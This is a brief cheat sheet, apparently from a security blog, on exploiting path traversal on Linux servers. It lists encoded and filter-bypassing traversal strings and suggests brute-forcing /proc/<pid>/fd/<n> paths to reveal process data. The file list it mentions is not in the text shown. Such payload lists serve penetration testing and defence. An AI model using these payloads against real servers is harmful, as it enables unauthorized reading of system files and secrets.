Path Traversal Cheat Sheet: Linux

Got a path/directory traversal or file disclosure vulnerability on a Linux-server and need to know some interesting files to hunt for? I’ve got you covered Know any more good files to look for? Let me know!

The list included below contains absolute file paths, remember if you have a traversal attack you can prefix these with encoding traversal strings, like these:

Encoded Traversal Strings:

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\

Oh, and one last thing, take a look at this path on a Linux box:

/proc/<int>/fd/<int>
e.g.
/proc/2116/fd/11

You might have to brute-force the integers a little, but it might just reveal some interesting information about running processes!
